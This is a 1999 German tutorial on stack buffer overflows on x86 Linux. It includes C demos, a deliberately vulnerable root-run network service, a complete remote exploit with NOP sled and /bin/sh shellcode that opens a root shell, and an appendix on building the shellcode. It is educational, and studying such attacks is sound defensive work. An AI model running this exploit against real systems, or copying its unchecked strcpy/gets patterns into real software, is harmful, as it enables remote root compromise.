Ein »Buffer Overflow Bug« in einem Programm mit erweiterten Privilegien kann zu
einem der gefürchtetsten
Sicherheitslöcher werden, da sich unter Umständen dadurch die Möglichkeit
bietet, beliebigen Maschinencode
auf dem Rechner mit den Privilegien des fehlerhaften Programms auszuführen.
Leider wird in den meisten
Sicherheitsadvisories verschwiegen, wie dies eigentlich funktioniert1, weshalb
in diesem Artikel eine
Einführung in das Wesen und die Ausnutzung von Buffer Overflow Bugs gegeben
werden soll. Getreu dem Motto
»No Security by Obscurity«, was in diesem Zusammenhang soviel bedeutet wie:
Durch Geheimhaltung von
Informationen, wie eine Sicherheitslücke ausgenutzt werden kann, läßt sich keine
wirkliche Sicherheit
erreichen, wird in diesem Artikel die Ausnutzung von Buffer Overflow Bugs
detailliert mit
Programmbeispielen beschrieben. Zum Verständnis dieses Artikels sind
grundlegende Kenntnisse der
Programmiersprache »C«, sowie rudimentäre Kenntnisse in Assemblerprogrammierung
nötig (Sie sollten
beispielsweise wissen, was ein Stapelspeicher, auch Stack genannt, ist.) Während
das Prinzip eines Buffer
Overflow Bugs und dessen Ausnutzung immer dasselbe ist, ist die konkrete
Durchführung stark von der
zugrundeliegenden Systemarchitektur abhängig. In diesem Artikel wird die Intel
x86 Architektur unter dem
Betriebssystem Linux als Beispiel herangezogen. Alle vorgestellten
Beispielprogramme funktionieren
ausschließlich unter einem solchen System.
Implementierungsschwächen der Programmiersprache »C«
Das entstehen von Buffer Overflow Bugs in Programmen, die in »C« geschrieben
wurden, beruht auf der
Tatsache, das der C Compiler bei der Übersetzung keine
Bereichsgrenzenüberprüfung für Schreibzugriffe auf
Speichervariablen vornimmt2. Legt man beispielsweise ein Array »char buffer[24]«
an, so werden dafür 24
Bytes Speicherplatz reserviert, jedoch kann man mit Anweisungen wie
»buffer[25]='x'« auch über den
reservierten Speicherbereich hinausschreiben. Betrachten wir dazu folgendes
Beispiel3:
/*Beispiel: demo1.c*/
#include
void senseless()
{
char a[16];
char b[32];
strcpy(a,"123456789abcdef");
printf("a enthaelt: %s\n",a);
b[32]='X';
b[33]='Y';
b[34]='Z';
printf("a enthaelt jetzt: %s\n",a);
return;
}
main()
{
printf("Buffer Overflow demo\n");
senseless();
}
Im Unterprogramm »senseless« werden zwei Arrays angelegt. Array »a« bietet Platz
für 16 Byte, Array »b«
hat eine Länge von 32 Byte; das letzte zulässige Element von Array »b« ist daher
»b[31]«. Durch die
Anweisungen »b[32]='X'«, »b[33]='Y'« und » b[34]='Z'« schreiben wir gezielt
Daten in einen unzulässigen
Bereich hinter der Grenze von Array »b«. Interessanterweise hat sich durch diese
Aktion der Inhalt des
Array »a« verändert: Die ersten drei Bytes von Array »a« wurden überschrieben!
Offensichtlich liegt Array
»a« direkt hinter Array »b« im Speicher.
Im nächsten Beispielprogramm verwenden wir die »strcpy« Funktion zum Kopieren
von mit einem Nullbyte
terminierten Zeichenketten, um den Array »a« zu überschreiben«
/*Beispiel: demo2.c*/
#include
void senseless()
{
char a[16];
char b[32];
strcpy(a,"123456789abcdef");
printf("a enthaelt: %s\n",a);
strcpy(b,"xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx");
printf("a enthaelt jetzt: %s\n",a);
return;
}
main()
{
printf("Buffer Overflow demo\n");
senseless();
}
Da die »strcpy« Funktion einen String ohne Bereichsgrenzenüberprüfung bis zum
abschließenden Nullbyte
kopiert, wird die für den Array »b« zu große Zeichenkette trotzdem bis zum
abschließenden Nullbyte in den
Array »b« kopiert, wodurch wieder der Array »a« überschrieben wird.
Wir haben in diesem Abschnitt gesehen, wie man solche »Buffer Overflows« gezielt
zum überschreiben von
Programmdaten im Speicher ausnutzen kann. Im nächsten Schritt wollen wir sehen,
wie man nicht nur Daten,
sondern auch den Programmablauf durch überschreiben von Speicherbereichen
verändern kann. Dazu müssen wir
uns mit dem vom Compiler aus einer C Quelldatei erzeugten Maschinencode
befassen.
Vom C Quellcode zum Assemblerprogramm
Mit dem Befehl »gcc -S demo1.c« können wir aus dem Quelltext »demo1.c« ein
Assemblerprogramm mit Namen
demo1.s erzeugen lassen, aus der der Compiler anschließend den Maschinencode
erzeugen würde, wenn die
Option »-S« in der Kommandozeile nicht gegeben wäre.
.file "demo1.c"
.version "01.01"
gcc2_compiled.:
.section .rodata
.LC0:
.string "123456789abcdef"
.LC1:
.string "a enthaelt: %s\n"
.LC2:
.string "a enthaelt jetzt: %s\n"
.text
.align 16
.globl senseless
.type senseless,@function
senseless:
pushl %ebp
movl %esp,%ebp
subl $48,%esp
pushl $.LC0
leal -16(%ebp),%eax
pushl %eax
call strcpy
addl $8,%esp
leal -16(%ebp),%eax
pushl %eax
pushl $.LC1
call printf
addl $8,%esp
movb $88,-16(%ebp)
movb $89,-15(%ebp)
movb $90,-14(%ebp)
leal -16(%ebp),%eax
pushl %eax
pushl $.LC2
call printf
addl $8,%esp
jmp .L1
.align 16
.L1:
movl %ebp,%esp
popl %ebp
ret
.Lfe1:
.size senseless,.Lfe1-senseless
.section .rodata
.LC3:
.string "Buffer Overflow demo\n"
.text
.align 16
.globl main
.type main,@function
main:
pushl %ebp
movl %esp,%ebp
pushl $.LC3
call printf
addl $4,%esp
call senseless
.L2:
movl %ebp,%esp
popl %ebp
ret
.Lfe2:
.size main,.Lfe2-main
.ident "GCC: (GNU) 2.7.2.3"
Befassen wir uns zunächst mit dem Aufruf des Unterprogramms »senseless«: Dies
geschieht mit »call
senseless«. Dabei legt der Prozessor den aktuellen Befehlszeiger, der auf den
nächsten auszuführenden
Befehl im Speicher zeigt, auf den Stack, um ihn von dort wieder holen zu können,
und damit nach der
Rückkehr aus dem Unterprogramm das Hauptprogramm an der richtigen Stelle
fortsetzen zu können. Die erste
Aktion des Unterprogramms ist es, den Wert des »ebp« Prozessorregisters auf den
Stack zu legen, um dieses
Register im Unterprogramm mit anderweitigen Daten füllen zu können. Als nächstes
wird der aktuelle Wert
des Stackpointers in genau dieses »ebp« Register geschrieben, womit
Speicherstellen auf dem Stack relativ
zu dieser Anfangsposition des Stackpointers adressiert werden können. Als
nächstes wird der Stackpointer
um 48 Byte erhöht. Da auf der x86 Architektur der Stack zu kleineren
Speicheradressen hin wächst,
geschieht dies durch den Subtraktionsbefehl »subl $48«. Dadurch entsteht ein
freier Bereich von 48 Byte
auf dem Stack, der zur Ablage der lokalen Variablen des Unterprogramms, in
unserem Fall der beiden Arrays
»a« und »b«, genutzt wird. Aus dem weiteren Programmablauf läßt sich erkennen,
daß der Array »a« direkt
unter dem Array »b« auf dem Stack, d.h. direkt hinter dem Array »b« im
Speicherliegt.
Es verwundert nun nicht mehr, daß das hinausschreiben über die Grenze von Array
»b« Werte im Array »a«
überschreibt, sei es durch explizites Schreiben, oder durch Verwendung der
»strcpy« Funktion. Es fällt
weiterhin sofort auf, daß es durch weiteres hinausschreiben über die Grenze von
Array »b«, bzw. Array »a«
möglich ist, die auf dem Stack liegende Rücksprungadresse ins Hauptprogramm, die
durch den »call
senseless« Befehl dort abgelegt wurde und vom »ret« Befehl beim beenden des
Unterprogramms in das
Befehlszeigerregister des Prozessors geladen werden wird, zu überschreiben. Wir
haben damit die
Möglichkeit, dem Prozessor eine beliebige Speicherposition anzugeben, von der
nach verlassen der
Unterprogramms der nächste zu verarbeitende Befehl geholt wird, und die
»Programmausführung« fortgesetzt
wird.
Dies wird durch das nächste Beispielprogramm gezeigt:
/*Beispiel: demo3.c*/
#include
unsigned int addresse;
void nonsense()
{
printf("Ich bin jetzt im Unterprogramm nonsense\n");
return;
}
void senseless()
{
char a[16];
printf("Ich bin jetzt im Unterprogramm senseless\n");
addresse=(unsigned int)nonsense;
printf("Addresse der Funktion nonsense ist: 0x%x\n",addresse);
memcpy(a+20,&addresse,4);
return;
}
main()
{
printf("Buffer Overflow demo\n");
senseless();
}
In dem Unterprogramm »senseless« schreiben wir in die globalen Variable
»unsigned int addresse« die
Adresse des Unterprogramms »nonsense«. Wie man sich leicht anhand der
vorangegangenen Beispiele und
Stackdiagramme ausmalen kann, wird durch schreiben in den Speicherbereich von
»a[20]« bis »a[24]« die
Rücksprungadresse in das Hauptprogramm überschrieben. Wir tragen in diesen
Speicherbereich nun einfach die
Adresse des Unterprogramms »nonsense« ein. Tatsächlich wird nach Beendigung des
Unterprogramms »senseless«
das Unterprogramm »nonsense« angesprungen und ausgeführt! Da durch diese
irreguläre Aktion alle
Rücksprungadressen durcheinandergekommen sind, wird beim Versuch, das
Unterprogramm »nonsense« zu
verlassen, das Programm an einer Speicherstelle ohne sinnvolle
Prozessoranweisungen fortgesetzt, was über
kurz oder lang zu einer Beendigung des Programms wegen einer
Speicherschutzverletzung führt.
Bisher haben unsere Beispielprogramme immer absichtlich eigene Speicherstellen
überschrieben, um die damit
verbundenen Effekte zu zeigen. Bei einem Programm, daß einen Buffer Overflow Bug
enthält, werden dagegen
an einer Stelle Daten, die aus der Eingabe an das Programm stammen in einen
Array geschrieben, ohne zu
überprüfen, ob dessen Länge für die Datenmenge auch ausreicht. Ein einfaches
Beispiel für ein solches
Programm werden wir im nächsten Abschnitt betrachten.
Ein einfacher Netzwerkdienst4 mit Buffer Overflow Bug
Das folgende Programm »victim.c« liest einen Namen über die Standardeingabe, und
gibt diesen rückwärts
geschrieben über die Standardausgabe wieder aus.
/*This is a simple victim program, that contains a buffer overflow bug.*/
/*It will take input from stdin and send output to stdout. Use inetd to*/
/*use it as a network service. */
/* */
/* Written 1999 by Jochen Bauer */
#include
void backprint(char *name)
{
char buffer[256];
int i;
strcpy(buffer,name); /*<-- Buffer overflow bug is right here*/
printf("backwards, your name reads:\n");fflush(stdout);
for(i=strlen(buffer);i>=0;i--)
printf("%c",buffer[i]);
printf("\n");
return;
}
main()
{
char name[1024];
printf("Name: ");fflush(stdout);
gets(name);
backprint(name);
printf("Bye.\n");
}
Um daraus einen Netzwerkdienst zu machen, müssen wir dem Programm einen
Netzwerkport zuweisen, und es vom
Internet Daemon (inetd) bei Anforderung starten lassen. Dazu können wir in
/etc/services den Eintrag
victim 100/tcp #Beispiel fuer Buffer Overflow Bug
hinzufügen, und /etc/inetd.conf mit
victim stream tcp nowait root [victim binary mit vollem pfad] victim
ergänzen. Bitte beachten Sie, daß dieses Programm den Root Compromise des
Rechners ermöglicht; wie das
geht wollen wir ja schließlich untersuchen. Benutzen Sie daher am besten zwei
vom Netz getrennten Rechner
als Versuchsobjekte. Sie können auch nur mit einem Rechner über das Loopback
Interface arbeiten, indem Sie
als Zieladresse 127.0.0.1 angeben. Nachdem dem inetd ein SIGHUP Signal geschickt
wurde, sollte der neue
»Netzwerkdienst« verfügbar sein. Die ordnungsgemäße Benutzung geschieht mit
»telnet Zieladresse 100«. Das
sollte dann ungefähr so aussehen:
jtb@luna:> telnet 127.0.0.1 100
Trying 127.0.0.1...
Connected to 127.0.0.1.
Escape character is '^]'.
Name: Freddy The Freeloader
backwards, your name reads:
redaoleerF ehT ydderF
Bye.
Connection closed by foreign host.
So ungefährlich dieses Programm auch auf den ersten Blick aussehen mag, es
ermöglicht, wie bereits erwähnt
den sofortigen Root Compromise des Rechners von einem anderen Rechner aus: Das
Programm »victim« wird vom
inetd, wie die meisten Netzwerkdienste, als Benutzer Root gestartet5. Da der
Benutzer dieses Programms
über das Netz aber nur unkritische Möglichkeiten hat, nämlich das Eingeben eines
Namens, ist dies zunächst
kein Sicherheitsloch. Vergleichen Sie dieses mit dem Finger Daemon, der auch
unter dem Benutzer Root
läuft: Der Benutzer des Finger Dienstes hat über das Netz »nur« die Möglichkeit,
Informationen über das
System und seine Benutzer zu erhalten, nicht mehr. Ein Buffer Overflow Bug
bietet nun die Möglichkeit, aus
diesem Käfig der genau vorgegebenen Benutzungsmöglichkeiten des Netzwerkdienstes
auszubrechen, und
beliebigen Maschinencode auf dem Zielrechner auszuführen.
Sehen wir uns zunächst das fehlerhafte Programm an. Der Buffer Overflow Bug ist
leicht zu finden. In der
Unterfunktion »backprint« wird der über das Netz eingegebene Name, der bis zu
1022 Zeichen lang sein kann6
zur Weiterverarbeitung in einen mit 256 Bytes viel zu kleinen Puffer kopiert. Da
die »strcpy« Funktion,
die den Kopiervorgang bis zum abschließenden Nullbyte des Namens durchführt,
verwendet wird, kann man
durch Eingabe eines Namens, der länger als 256 Zeichen ist, erreichen, daß über
den Puffer »char
buffer[256]« hinausgeschrieben wird. Wir können daher die Rücksprungadresse aus
dem Unterprogramm
»backprint« mit einer in dem eingegebenen Namen untergebrachten Adresse
überschreiben7. Wie aber läßt sich
nun beliebiger Maschinencode ausführen? Einfach dadurch, daß dieser
Maschinencode in den ersten 256 Byte
des eingegebenen Namens untergebracht wird, und sich daher nach Aufruf des
Unterprogrammes »Backprint« und
der Ausführung des »strcpy« Befehls in dem Array »char buffer[256]« befindet.
Wir können dann die
Rücksprungadresse in das Hauptprogramm auf dem Stack mit der Adresse des sich in
»char buffer[256]«
befindlichen Maschinencodes überschreiben und erreichen, daß dieser bei der
versuchten Rückkehr ins
Hauptprogramm angesprungen und ausgeführt wird. Die Rücksprungadresse darf
natürlich keine Nullbytes
enthalten, da dies den Kopiervorgang beenden würde. Soweit die prinzipiellen
Überlegungen. Wollen wir nun
in der Praxis einen Angriff gegen den betreffenden Rechner unter Ausnutzung des
Buffer Overflow Bugs in
unserem neuen Netzwerkdienst fahren, so sind noch einige technische Probleme zu
lösen. Damit befaßt sich
der nächste Abschnitt.
Programmierung eines Buffer Overflow Exploits
In diesem Abschnitt soll detailliert auf die Technik der Ausnutzung eines Buffer
Overflow Bugs eingegangen
werden. Dazu soll ein Angriffsprogramm, auch »Exploit« genannt geschrieben
werden, um einen Rechner über
den im vorangegangenen Abschnitt vorgestellten, verwundbaren Netzwerkdienst
anzugreifen. Die dem Angriff
zugrundeliegenden Prinzipien wurden bereits erläutert, so daß wir uns nun um die
technischen Einzelheiten
kümmern können. Es stellen sich zunächst zwei Fragen:
Woher kennen wir die Adresse des Puffers »char buffer[256]« (im folgenden
gelegentlich als Zielpuffer
bezeichnet) im Speicher, um die neue Rücksprungadresse darauf setzen zu können?
Welchen Maschinencode sollen wir ausführen?
Die Antwort auf die erste Frage ist folgende: Da der Puffer auf dem Stack des
Programms liegt , ist die
Adresse die des Stackframes im virtuellen Adressraum des Programmes minus der
Zahl der momentan auf dem
Stack liegenden Bytes. Um ein Gefühl für die ungefähre Lage des Stackframes zu
bekommen, können wir
folgendes Programm verwenden.
#include
void main()
{
char a[4];
printf("Addresse des Arrays ist 0x%x\n",a);
}
Dieses, bzw. der daraus erzeugte Maschinencode tut nichts anderes, als einen
Array auf dem Stack anzulegen
und dessen Adresse auszugeben. Durch Ausprobieren auf verschiedenen Rechnern
erhalten wir z.B. die
Ergebnisse 0xbffff8b4, 0xbffff714, 0xbffff764, 0xbffff774, 0xbffff714,
0xbffff724, 0xbffff744. Die Adresse
wird um so niedriger sein, je mehr Bytes bereits auf dem Stack liegen8. In der
Regel werden bei größeren,
komplexeren Programme wesentlich mehr Bytes auf dem Stack liegen, als bei diesem
kleinen Testprogramm, so
daß wir die eben erhaltenen Werte als ungefähre Obergrenze für die unbekannte
Pufferposition nehmen
können, und uns davon ausgehend nach unten tasten können, indem wir einfach
Rücksprungadressen
ausprobieren und sehen, ob der eingebrachte Maschinencode ausgeführt wird. Da
aber das byteweise nach
unter tasten ein viel zu großer Aufwand wäre, verwenden wir folgenden Trick: Wir
sorgen dafür, daß der
Maschinencode im hinteren Teil des Puffers, den wir überschreiben wollen, liegt
und füllen die Lücke
zwischen Pufferanfang und dem Maschinencode mit »No Operation« (NOP)
Maschinenbefehlen auf, die vom
Prozessor einfach überlesen werden, ohne eine Aktion auszuführen, und »zielen«
mit der Rücksprungadresse
in die Mitte dieses Bereiches. Treffen wir mit unserer Rücksprungadresse
irgendwo in diesen Bereich von
NOP Befehlen, so läuft der Prozessor durch bis zu dem am Ende stehenden
Maschinencode, der dann ausgeführt
wird. Sind wir aufgrund der Puffergröße also z.B. in der Lage einen Bereich mit
100 Byte NOP Befehlen
anzulegen, so können wir uns in 100 Byte Schritten mit der Rücksprungadresse
nach unten tasten.
An dieser Stelle muß man sich noch über einen zweiten Unsicherheitsfaktor im
Klaren sein. Nämlich den, daß
die Position des Puffers auf dem Stack variieren kann, indem z.B. vom Compiler
Variablen auf dem Stack
umgeschichtet werden9. Wir können in unserem konkreten Beispiel nicht davon
ausgehen, daß in jedem Fall
der Puffer »char buffer[256]« unter der Variable »int i« auf dem Stack liegt,
und die Rücksprungadresse
unter »buffer[260]« bis »buffer[264]« erreichbar ist. Diese Unsicherheit können
wir eliminieren, indem wir
den »Angriffspuffer«, mit dessen Inhalt der Zielpuffer überschrieben wird
deutlich größer als diesen
Puffer machen, und den Platz hinter dem Maschinencode durch aneinanderreihen der
Rücksprungadresse füllen.
Eine dieser Kopien der Rücksprungadresse wird dann mit hoher Wahrscheinlichkeit
an der richtigen Stelle
liegen. In unserem Beispiel wollen wir eine Angriffspuffergröße von 356 Byte
wählen. Die folgende
Abbildung stellt den Angriffspuffer der Situation auf dem Stack gegenüber und
sollte manches klarer werden
lassen.
Die Antwort auf die zweite Frage ist sehr einfach: Wir wollen eine interaktive
Shell starten. Damit können
wir alle weiteren denkbaren Aktionen interaktiv auf dem Zielrechner vornehmen10.
Der Start einer Shell
kann über die »exec« Kernelfunktion vorgenommen werden. Deren Aufrufsequenz muß
in Assembler programmiert
werden, und kann nach der Assemblierung mit Hilfe eines Debuggers als
Maschinencode betrachtet und in das
Angriffsprogramm übertragen werden. Da das »zusammenbasteln« dieses
Maschinencodes etwas Kenntnis der ix86
Programmierung erfordert, andererseits uns momentan aber keine neuen
Erkenntnisse bringt, verlegen wir die
Erstellung des Maschinencodes in den Anhang. Bis dahin betrachten wird die
Maschinencodesequenz im
Angriffsprogramm einfach als »Black Box«, von der wir nur zu Wissen brauchen,
daß sie eine interaktive
Shell aufruft.
Nach diesen Vorüberlegungen ist das eigentliche Schreiben des Angriffsprogramms
kein Problem mehr. Die
einzelnen Schritte, die wir umzusetzen haben sind:
Zusammensetzen des Angriffspuffers aus den NOP Befehlen, dem Maschinencode und
der vermuteten
Sprungadresse.
Aufbauen einer Netzwerkverbindung zu unserem Netzwerkdienst auf dem Zielrechner.
Übergabe des Angriffspuffers als Antwort auf die Aufforderung der Namenseingabe
Aufsetzen eines simplen Terminalprogramms auf die Netzwerkverbindung zum
Zielrechner, um mit der auf der
anderen Seite durch den Maschinencode gestarteten Shell kommunizieren zu können
Das folgende Programm erledigt alle diese Aufgaben.
/*------------------------------------------------------------------------------------*/
/* */
/* Generic buffer overflow demonstration exploit for ix86 */
/* */
/* Written in 1999 by Jochen Bauer */
/* */
/* !!This file is intended for educational purposes only!! */
/* */
/* You may only use this file or any modification of it for */
/* educational purposes. You are not allowed to use it to */
/* gain unauthorized access to other computer systems */
/* */
/* DISCLAIMER: I am NOT responsible for what YOU do with this file. */
/* */
/*------------------------------------------------------------------------------------*/
#include
#include
#include
#include
#include
#include
#include
#include
#include
#define PORT 100 /*target port*/
#define NOP 0x90 /*NOP instruction on ix86*/
#define CODE_OFFSET 200 /*offset for machinecode in buffer*/
#define BUFFER_LOCATION 0xbffff36c /*guessed location of the target buffer*/
#define ATTACK_BUFFER_SIZE 356 /*size of the target buffer + overflow*/
/*WARNING: CODE_OFFSET, BUFFER_LOCATION AND ATTACK_BUFFER_SIZE MUST BE MULTIPLES OF 4*/
/*the machine code that will execute /bin/sh*/
char shellcode[] =
"\xeb\x18\x5d\x31\xc0\x88\x45\x07\x89\x6d\x08\x89\x45"
"\x0c\xb0\x0b\x89\xeb\x8d\x4d\x08\x8d\x55\x0c\xcd\x80"
"\xe8\xe3\xff\xff\xff/bin/sh";
void usage(char *name)
{
printf("Usage: %s target_ip\n",name); /*print usage information*/
exit(1);
}
main(int argc, char *argv[])
{
char string[ATTACK_BUFFER_SIZE];
char buffer[1024];
int i,s,k;
unsigned int jumpaddr;
struct sockaddr_in dest;
fd_set fds,rfds;
if(argv[1]==NULL) /*no target? -> display usage information*/
usage(argv[0]);
dest.sin_family = AF_INET;
dest.sin_port = htons(PORT);
dest.sin_addr.s_addr = inet_addr(argv[1]); /*the target*/
printf("Preparing attack string.\n");
memset(string,NOP,sizeof(string));
memcpy(string+CODE_OFFSET,shellcode,strlen(shellcode));
/*copy the machine code into the string*/
printf("Wrote %u bytes of machine code into string\n",strlen(shellcode));
/*INFO: ((x+3)/4)*4 yields the next bigger value than x that is a multiple of 4*/
jumpaddr=BUFFER_LOCATION+((CODE_OFFSET/2+3)/4)*4;
printf("jumpaddress into the buffer is 0x%x\n",jumpaddr);
printf("Writing jumpaddress at offset(s): ");
for(k=((CODE_OFFSET+strlen(shellcode)+3)/4)*4; k<=sizeof(string)-4; k=k+4)
{
printf("%u ",k);
memcpy(string+k,&jumpaddr,4); /*fill rest of string with jumpaddress*/
}
printf("\n");
string[sizeof(string)-3]=13;
string[sizeof(string)-2]=10; /*carriage return and linefeed*/
string[sizeof(string)-1]=0; /*End of string*/
printf("Attack string ready\n");
s=socket(AF_INET,SOCK_STREAM,6); /*open a socket*/
if(s<0)
{
perror("socket");
exit(1);
}
i=connect(s,(struct sockaddr *)&dest,sizeof(struct sockaddr));
if(i<0) /*connect to the target*/
{
perror("connect");
exit(1);
}
printf("Connected to %s\n",argv[1]); /*hear, what the target has to say..*/
i=read(s,buffer,1024);
buffer[i]=0;
printf("%s\n",buffer);
printf("sending attack string....\n");
write(s,string,sizeof(string)); /*send the string to the target*/
i=read(s,buffer,1024);
buffer[i]=0;
printf("%s\n",buffer);
/*If all went well, we will now have a shell on the other side*/
/*the rest of the code will take care of the communication with*/
/*the shell on the remote host*/
FD_ZERO(&rfds); /*clear file discriptor set*/
FD_SET(0,&rfds);
FD_SET(s,&rfds); /*put s and stdin in fds*/
while(1)
{
memcpy(&fds,&rfds,sizeof(rfds));
i=select(s+1,&fds,NULL,NULL,NULL);
if(i==0)
exit(0); /*session closed*/
if(i<0)
{
perror("select");
exit(1);
}
if(FD_ISSET(s,&fds)) /*data from target*/
{
i=read(s,buffer,1024);
if(i<1)
{
printf("session closed\n");
exit(0);
}
write(1,buffer,i);
}
if(FD_ISSET(0,&fds)) /*data to target*/
{
i=read(0,buffer,1024);
if(i<1)
{
printf("session closed\n");
exit(0);
}
write(s,buffer,i);
}
}
}
Einige Anmerkungen zum Programm: Am Anfang können die Definitionen für den
Zielport (PORT), die Länge des
NOP Bereiches im Angriffspuffer (CODE_OFFSET), die vermutete Position des
»Zielpuffers« (BUFFER_LOCATION)
und die Größe des Angriffspuffers (ATTACK_BUFFER_SIZE) bei Bedarf geändert
werden. Eine Notwendigkeit
hierfür sollte allerdings nur bei der Position des Zielpuffers bestehen. Bitte
beachten Sie, daß der
verwendete Wert durch 4 teilbar sein muß. Die in den Angriffspuffer geschriebene
Sprungadresse wird
automatisch auf eine durch 4 teilbare Speicheradresse in der Mitte des NOP
Bereiches gesetzt, dabei muß
die geratene Posistion des Zielpuffers aber so gewählt worden sein, daß diese
Adresse keine Nullbytes
enthält. Da sich aus Platzgründen keine Namensauflösungsroutine im Programm
befindet, muß als Ziel immer
die IP Adresse des betreffenden Rechners angegeben werden. Schlägt der
Angriffsversuch fehl, was meistens
auf eine falsch geratene Position des Zielpuffers zurückzuführen ist, so wird,
aufgrund der Beendigung des
Programms »victim« durch eine Speicherschutzverletzung die Verbindung beendet.
Ist der Angriff
erfolgreich, so sehen Sie keinen Shellprompt, haben aber trotzdem eine
interaktive Shell zur Verfügung;
geben Sie einige Shellbefehle ein, um dies zu sehen. Das Kommando »id« wird
ihnen zeigen, daß es sich bei
dieser Shell um eine Rootshell handelt11. Zum Auffinden der korrekten Position
des Zielpuffers denken Sie
an die weiter oben besprochene Strategie: Beginnen Sie bei einer Position von
etwa 0xbffff900 und tasten
Sie sich in 200 Byte Schritten nach unten. Möglicherweise funktioniert aber auch
schon die in der
vorliegenden Version des Programms vorgegebene Adresse.
Happy Hacking!12
Anhang
Erstellung des Maschinencodes
Der zu erstellende Maschinencode soll eine interaktive Shell über die »exec«
Funktion des Kernels
aufrufen. In C sieht ein solcher Aufruf folgendermaßen aus:
#include
main()
{
char *a[2];
a[0]="/bin/sh";
a[1]=NULL;
execve(a[0],a,NULL);
}
Dem »execve« Aufruf müssen als Argumente ein Pointer auf den String »/bin/sh«,
ein Pointer auf die
NULL-terminierte Argumentliste, die hier nur aus dem Programmnamen »/bin/sh«
besteht, und ein
Umgebungsvariablenpointer, der auch NULL sein kann, übergeben werden. Dies
geschieht durch Übergabe von
»a[0]«, »a« und einem NULL Pointer als Umgebungsvariablenpointer. Der Aufruf der
entsprechenden
Kernelfunktion von einem Assemblerprogramm aus, geschieht folgendermaßen:
Wir benötigen zunächst den String »/bin/sh«, im Speicher. Dessen Adresse müssen
wir der Kernelfunktion im
»ebx« Prozessorregister übergeben. Um die Argumentliste zu erhalten, müssen wir
als nächstes die Adresse
des Strings »/bin/sh« im Speicher ablegen und 4 Nullbytes dahinterschreiben
(NULL-terminierung!). Die
Speicheradresse dieses Bereiches, die ja der Pointer auf die Argumentliste ist,
müssen wir der
Kernelfunktion im »ecx« Prozessorregister übergeben. Als letztes Argument muß
noch ein Pointer auf einen
NULL Pointer, anstelle des nicht vorhandenen Pointers auf die
Umgebungsvariablen, im »edx«
Prozessorregister übergeben werden. Ist dies alles erledigt, so können wir die
Kernelfunktionsnummer für
den »exec« Aufruf in das »eax« Prozessorregister schreiben und einen
Softwareinterrupt auslösen. Zunächst
aber stehen wir vor einem Problem: Da wir die spätere Adresse des Maschinencodes
im Zielpuffer nicht
kennen, wissen wir nicht, an welcher Speicheradresse der String »/bin/sh« liegen
wird und können diese
daher nicht als Kernelfunktionsparameter übergeben! Die Lösung dieses Problems
geschieht durch folgenden
Trick: Wir setzen unmittelbar vor den String »/bin/sh« eine »call« Anweisung,
die nicht zu einen
Unterprogramm, sondern in die Maschinencodesequenz selber zurückführt. Da bei
einer »call« Anweisung die
nachfolgende Speicheradresse als vorgesehene Rücksprungadresse ins Hauptprogramm
auf den Stack gelegt
wird, können wir die Adresse des Strings »/bin/sh« anschließend vom Stack holen.
Da das Kopieren des
Maschinencodes auf dem Zielrechner in den Puffer »char buffer[256]« durch die
»strcpy« Routine vorgenommen
wird, die ein Nullbyte als Stringende betrachtet, darf der aus dem
Assemblerprogramm resultierende
Maschinencode keine Nullbytes enthalten. Wir müssen daher manchmal zu etwas
merkwürdig anmutenden
Assemblerkonstruktionen greifen, um Nullbytes im Maschinencode zu vermeiden,
insbesondere müssen wir das
terminierende Nullbyte hinter dem String »/bin/sh« nachträglich anfügen.
Das Assemblerprogramm kann nun mit Hilfe der Inline Assembler Funktionalität des
GNU C Compilers erstellt
werden.
void main()
{
__asm__("
jmp 0x18 #jump to call instruction
popl %ebp #get address of string into ebp
xorl %eax,%eax #clear eax
movb %eax,0x7(%ebp) #terminate string
movl %ebp,0x8(%ebp) #copy address of string to 0x8(ebp)
movl %eax,0xc(%ebp) #copy NULL word to 0xc(ebp)
movb $0xb,%al #copy exec kernel function number to eax
movl %ebp,%ebx #copy address of string to ebx
leal 0x8(%ebp),%ecx #copy address of argumentlist to ecx
leal 0xc(%ebp),%edx #copy address of the NULL word to edx
int $0x80 #trigger software interrupt
call -0x1d #return with address of string on the stack
.string \"/bin/sh\"
");
}
Mit der ersten »jmp« Anweisung springen wir die unmittelbar vor dem String
»/bin/sh« liegende »call«
Anweisung an, die wiederum einen Sprung auf den ersten Befehl hinter der »jmp«
Anweisung ausführt. Die
relativen Sprungadressen erhält man entweder durch Kenntnis der Befehlslängen
und Abzählen der Bytes, oder
»experimentell« durch eintragen von »dummy-Werten« , disassemblierung und
Anpassen der Werte. Kompiliation
des Programmes und disassemblierung der Funktion »main« liefert nun
0x8048460 (main): pushl %ebp
0x8048461 (main+1): movl %esp,%ebp
0x8048463 (main+3): jmp 0x804847d (main+29)
0x8048465 (main+5): popl %ebp
0x8048466 (main+6): xorl %eax,%eax
0x8048468 (main+8): movb %al,0x7(%ebp)
0x804846b (main+11): movl %ebp,0x8(%ebp)
0x804846e (main+14): movl %eax,0xc(%ebp)
0x8048471 (main+17): movb $0xb,%al
0x8048473 (main+19): movl %ebp,%ebx
0x8048475 (main+21): leal 0x8(%ebp),%ecx
0x8048478 (main+24): leal 0xc(%ebp),%edx
0x804847b (main+27): int $0x80
0x804847d (main+29): call 0x8048465 (main+5)
0x8048482 (main+34): das
0x8048483 (main+35): boundl 0x6e(%ecx),%ebp
0x8048486 (main+38): das
0x8048487 (main+39): jae 0x80484f1
0x8048489 (main+41): addb %cl,0x90c35dec(%ecx)
0x804848f (main+47): nop
Wir sehen, daß unser Maschinencode an der relativen Position »« beginnt und an
der relativen Position »«
endet. Danach folgt der String »/bin/sh«. Durch einen Dump des entsprechenden
Speicherbereiches erhalten
wir den dazugehörigen Maschinencode, den wir in dem Angriffsprogramm verwenden
können.
Copyright © 1999 Jochen Bauer , . Die in diesem Artikel zur Verfügung gestellten
Informationen und
Programme sind ausschließlich für Lehrzwecke bestimmt und dürfen nicht zum
unauthorisierten eindringen in
Computersysteme verwendet werden. Die Verwendung der in diesem Artikel gegebenen
Anleitungen und
Beispielprogramme erfolgt auf eigene Gefahr!
1 Der Standardsatz ist in diesem Fall meistens nur:«By supplying carefully
crafted arguments, an attacker
can execute arbitrary code with the privilleges of that program«.
2 Zumindest die gängigen C Compiler. Es gibt jedoch auch einige Spezialcompiler
mit diesbezüglichen
Schutzfunktionen.
3 Alle Beispile sollten mit dem GUN C Compiler ohne Optimierung kompiliert
werden, um die passende
Reihenfolge der Variablen im Speicher zu gewährleisten.
4 Vielleicht ist die Bezeichnung »Modellnetzwerkdienst« angebrachter.
